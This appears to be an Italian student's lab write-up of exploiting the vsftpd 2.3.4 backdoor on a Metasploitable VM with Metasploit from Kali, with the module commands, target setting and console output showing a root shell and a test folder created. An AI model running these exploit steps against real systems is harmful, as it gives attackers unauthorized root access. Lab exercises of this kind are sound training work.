

## Riassunto dell'attacco con Metasploit su Metasploitable

In questo esercizio, ho condotto una sessione di penetration testing utilizzando **Metasploit** per sfruttare una vulnerabilità presente nel servizio **vsftpd 2.3.4** su una macchina virtuale **Metasploitable**.

Prima di tutto, ho verificato che la mia macchina **Kali Linux** e **Metasploitable** fossero connesse alla stessa rete. Ho modificato l'ip di Metasploitable, assegnando il seguente indirizzo ip:

**192.168.50.149**

Successivamente, ho testato la connessione tra le due macchine inviando un **ping** da Kali a Metasploitable.

Dopo aver ricevuto risposte, ho confermato che la comunicazione tra le due macchine era attiva e ho potuto procedere con l'attacco.

```
(kali@vbox) [~]
$ ping 192.168.50.149
PING 192.168.50.149 (192.168.50.149) 56(84) bytes of data.
64 bytes from 192.168.50.149: icmp_seq=1 ttl=64 time=11.5 ms
64 bytes from 192.168.50.149: icmp_seq=2 ttl=64 time=1.34 ms
64 bytes from 192.168.50.149: icmp_seq=3 ttl=64 time=25.0 ms
64 bytes from 192.168.50.149: icmp_seq=4 ttl=64 time=1.11 ms
^C
— 192.168.50.149 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3007ms
rtt min/avg/max/mdev = 1.111/9.741/25.001/9.761 ms
```

Ho aperto un terminale su Kali Linux e ho avviato **Metasploit Framework** con il comando:

## msfconsole

[illegible]

Dopo aver caricato Metasploit, ho selezionato l'exploit per il servizio vulnerabile **vsftpd 2.3.4**, utilizzando:

**use exploit/unix/ftp/vsftpd\_234\_backdoor**

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Ho poi controllato le opzioni necessarie con:

**show options**

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST            no        The local client address
  CPORT      CPORT            no        The local client port
  Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
  RPORT      RPORT           yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic
```

e ho impostato l'**IP target** della macchina Metasploitable:

**set RHOSTS 192.168.50.149**

Infine, ho lanciato l'exploit con:

**run**

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.149
RHOSTS => 192.168.50.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.50.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.149:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.50.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.50.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:41589 -> 192.168.50.149:6200) at 2025-03-10 15:05:49 +0100
```

Metasploit ha aperto una **sessione di shell** sulla macchina bersaglio, permettendomi di eseguire comandi al suo interno.

Ho navigato nella directory di root con:

**ls**

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
mkdir /test_metasploit
```

Successivamente, ho creato una nuova cartella chiamata **test\_metasploit** usando il comando:

**mkdir /test\_metasploit**

Per verificare che la cartella fosse stata creata correttamente, ho elencato nuovamente il contenuto della directory.

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```